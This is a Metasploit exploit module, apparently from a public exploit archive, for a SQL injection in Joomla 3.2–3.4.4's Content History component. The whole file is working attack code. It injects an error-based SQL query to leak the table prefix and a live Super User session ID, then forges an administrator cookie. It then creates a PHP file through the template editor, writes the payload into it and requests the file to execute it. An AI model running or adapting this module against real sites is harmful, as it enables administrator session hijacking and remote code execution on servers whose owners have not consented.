Joomla Content History SQL Injection Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Joomla Content History SQLi Remote Code Execution",  
'Description' => %q{  
This module exploits a SQL injection vulnerability found in Joomla versions  
3.2 up to 3.4.4. The vulnerability exists in the Content History administrator  
component in the core of Joomla. Triggering the SQL injection makes it possible  
to retrieve active Super User sessions. The cookie can be used to login to the  
Joomla administrator backend. By creating a new template file containing our  
payload, remote code execution is made possible.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Asaf Orpani', # Vulnerability discovery  
'xistence <xistence[at]0x90.nl>' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2015-7857' ], # Admin session hijacking  
[ 'CVE', '2015-7297' ], # SQLi  
[ 'CVE', '2015-7857' ], # SQLi  
[ 'CVE', '2015-7858' ], # SQLi  
[ 'URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/' ],  
[ 'URL', 'http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html' ]  
],  
'Payload' =>  
{  
'DisableNops' => true,  
# Arbitrary big number. The payload gets sent as POST data, so  
# really it's unlimited  
'Space' => 262144, # 256k  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Joomla 3.x <= 3.4.4', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Oct 23 2015",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to Joomla', '/'])  
], self.class)  
  
end  
  
def check  
  
# Request using a non-existing table  
res = sqli(rand_text_alphanumeric(rand(10)+6))  
  
if res && res.body =~ /`(.*)_ucm_history`/  
return Exploit::CheckCode::Vulnerable  
end  
return Exploit::CheckCode::Safe  
  
end  
  
  
def sqli( tableprefix )  
  
# SQLi will only grab Super User sessions with a valid username and userid (else they are not logged in).  
# The extra search for NOT LIKE '%IS NOT NULL%' is because of our SQL data that's inserted in the session cookie history.  
# This way we make sure that's excluded and we only get real admin sessions.  
  
sql = " (select 1 FROM(select count(*),concat((select (select concat(session_id)) FROM #{tableprefix}session WHERE data LIKE '%Super User%' AND data NOT LIKE '%IS NOT NULL%' AND userid!='0' AND username IS NOT NULL LIMIT 0,1),floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)"  
  
# Retrieve cookies  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "index.php"),  
'vars_get' => {  
'option' => 'com_contenthistory',  
'view' => 'history',  
'list[ordering]' => '',  
'item_id' => '1',  
'type_id' => '1',  
'list[select]' => sql  
}  
})  
  
return res  
  
end  
  
  
def exploit  
  
# Request using a non-existing table first, to retrieve the table prefix  
res = sqli(rand_text_alphanumeric(rand(10)+6))  
  
if res && res.code == 500 && res.body =~ /`(.*)_ucm_history`/  
table_prefix = $1  
print_status("#{peer} - Retrieved table prefix [ #{table_prefix} ]")  
else  
fail_with(Failure::Unknown, "#{peer} - Error retrieving table prefix")  
end  
  
# Retrieve the admin session using our retrieved table prefix  
res = sqli("#{table_prefix}_")  
  
if res && res.code == 500 && res.body =~ /Duplicate entry '([a-z0-9]+)' for key/  
auth_cookie_part = $1[0...-1]  
print_status("#{peer} - Retrieved admin cookie [ #{auth_cookie_part} ]")  
else  
fail_with(Failure::Unknown, "#{peer}: No logged-in admin user found!")  
end  
  
# Retrieve cookies  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "administrator", "index.php")  
})  
  
if res && res.code == 200 && res.get_cookies =~ /^([a-z0-9]+)=[a-z0-9]+;/  
cookie_begin = $1  
print_status("#{peer} - Retrieved unauthenticated cookie [ #{cookie_begin} ]")  
else  
fail_with(Failure::Unknown, "#{peer} - Error retrieving unauthenticated cookie")  
end  
  
# Modify cookie to authenticated admin  
auth_cookie = cookie_begin  
auth_cookie << "="  
auth_cookie << auth_cookie_part  
auth_cookie << ";"  
  
# Authenticated session  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),  
'cookie' => auth_cookie  
})  
  
if res && res.code == 200 && res.body =~ /Administration - Control Panel/  
print_status("#{peer} - Successfully authenticated as Administrator")  
else  
fail_with(Failure::Unknown, "#{peer} - Session failure")  
end  
  
  
# Retrieve template view  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),  
'cookie' => auth_cookie,  
'vars_get' => {  
'option' => 'com_templates',  
'view' => 'templates'  
}  
})  
  
# We try to retrieve and store the first template found  
if res && res.code == 200 && res.body =~ /\/administrator\/index.php\?option=com_templates&view=template&id=([0-9]+)&file=([a-zA-Z0-9=]+)/  
template_id = $1  
file_id = $2  
else  
fail_with(Failure::Unknown, "Unable to retrieve template")  
end  
  
filename = rand_text_alphanumeric(rand(10)+6)  
  
# Create file  
print_status("#{peer} - Creating file [ #{filename}.php ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),  
'cookie' => auth_cookie,  
'vars_get' => {  
'option' => 'com_templates',  
'task' => 'template.createFile',  
'id' => template_id,  
'file' => file_id,  
},  
'vars_post' => {  
'type' => 'php',  
'name' => filename  
}  
})  
  
# Grab token  
if res && res.code == 303 && res.headers['Location']  
location = res.headers['Location']  
print_status("#{peer} - Following redirect to [ #{location} ]")  
res = send_request_cgi(  
'uri' => location,  
'method' => 'GET',  
'cookie' => auth_cookie  
)  
  
# Retrieving template token  
if res && res.code == 200 && res.body =~ /&([a-z0-9]+)=1\">/  
token = $1  
print_status("#{peer} - Token [ #{token} ] retrieved")  
else  
fail_with(Failure::Unknown, "#{peer} - Retrieving token failed")  
end  
  
if res && res.code == 200 && res.body =~ /(\/templates\/.*\/)template_preview.png/  
template_path = $1  
print_status("#{peer} - Template path [ #{template_path} ] retrieved")  
else  
fail_with(Failure::Unknown, "#{peer} - Unable to retrieve template path")  
end  
  
else  
fail_with(Failure::Unknown, "#{peer} - Creating file failed")  
end  
  
filename_base64 = Rex::Text.encode_base64("/#{filename}.php")  
  
# Inject payload data into file  
print_status("#{peer} - Insert payload into file [ #{filename}.php ]")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "administrator", "index.php"),  
'cookie' => auth_cookie,  
'vars_get' => {  
'option' => 'com_templates',  
'view' => 'template',  
'id' => template_id,  
'file' => filename_base64,  
},  
'vars_post' => {  
'jform[source]' => payload.encoded,  
'task' => 'template.apply',  
token => '1',  
'jform[extension_id]' => template_id,  
'jform[filename]' => "/#{filename}.php"  
}  
})  
  
if res && res.code == 303 && res.headers['Location'] =~ /\/administrator\/index.php\?option=com_templates&view=template&id=#{template_id}&file=/  
print_status("#{peer} - Payload data inserted into [ #{filename}.php ]")  
else  
fail_with(Failure::Unknown, "#{peer} - Could not insert payload into file [ #{filename}.php ]")  
end  
  
# Request payload  
register_files_for_cleanup("#{filename}.php")  
print_status("#{peer} - Executing payload")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, template_path, "#{filename}.php"),  
'cookie' => auth_cookie  
})  
  
end  
  
end  
`